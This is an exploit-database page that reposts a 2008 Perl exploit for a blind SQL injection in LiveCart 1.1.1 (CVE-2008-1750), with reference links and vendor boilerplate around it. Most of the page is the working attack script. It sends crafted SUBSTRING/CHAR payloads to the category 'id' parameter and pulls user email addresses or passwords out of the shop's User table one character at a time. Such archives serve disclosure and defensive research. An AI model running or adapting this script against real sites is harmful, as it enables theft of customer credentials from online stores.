LiveCart 1.1.1 - 'id' Blind SQL Injection
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2008-1750 | 10 Apr 200800:00 | – | circl | |
| CVE-2008-1750 | 11 Apr 200820:28 | – | cve | |
| CVE-2008-1750 | 11 Apr 200820:28 | – | cvelist | |
| EUVD-2008-1750 | 7 Oct 202500:30 | – | euvd | |
| CVE-2008-1750 | 11 Apr 200821:05 | – | nvd | |
| Sql injection | 11 Apr 200821:05 | – | prion | |
| Fixed: LiveCart SQL injection vulnerability fixed since version 1.1.2 | 3 May 200800:00 | – | securityvulns | |
| Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl) | 3 May 200800:00 | – | securityvulns | |
| LiveCart 目录脚本id参数SQL注入漏洞 | 7 May 200800:00 | – | seebug |
#!/usr/bin/perl -w
use LWP::UserAgent;
#-----------------------------------------------------------------------------------------------#
# scripts : livecart Remote Blind Sql Injection #
# scripts site : http://www.livecart.com #
# #
# Discovered #
# By : irvian #
# site : http://irvian.cn #
# forum : http://noscan.info/forum #
# email : [email protected] #
# #
# Thanks To #
# friend : str0ke, nyubi, ibnusina, arioo, jipank, ifx, karet, bluespy and all my friend #
#-----------------------------------------------------------------------------------------------#
# sample : #
# http://demo.livecart.com #
#-----------------------------------------------------------------------------------------------#
print "\r\n[+]----------------------[+]\r\n";
print "[+]Blind SQL injection [+]\r\n";
print "[+]Livecart [+]\r\n";
print "[+]code by irvian [+]\r\n";
print "[+]irvian[dot]cn [+]\r\n";
print "[+]----------------------[+]\n\r";
if (@ARGV < 3){
die "
Cara Mengunakan : perl $0 host option userid
Keterangan
host : http://victim.com atau victim.com
Option : pilih 1 untuk mencari email dan pilih 2 untuk mencari password
userid : Limit
Contoh : perl $0 http://victim.com 1 1
\n";}
$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];
if ($option eq 1){
syswrite(STDOUT, "email: ", 7);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}
for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n <= 57)
{
if(&blind($url, $option, $id, $i, $n, $id)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if ($f==0){
$n = 97;
while(!$f && $n <= 122)
{
if(&blind($url, $option, $id, $i, $n, $id)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}
}
print "\n[+]finish Execution Exploit\n";
sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $i = $_[3];
my $n = $_[4];
my $r = $_[5];
if ($op eq 1){$klm = "email";}
elsif ($op eq 2){$klm = "password";}
$site =~ s/^http:\/\///;
my $url = "http://"."$site"."/category?id=1"."%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."User"."%20LIMIT%20"."$r".",1"."),"."$i".",1)=CHAR("."$n".")";
my $browser = &zero($url);
if ($browser !~ /Error Code 500/gi){
return 1;
}
else {
return 0;
}
}
sub zero($){
my $spy = $_[0];
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
my $res = $ua->get($spy);
my @r = $res->content;
$page="@r";
return $page;}
# milw0rm.com [2008-04-10]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Nov 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01189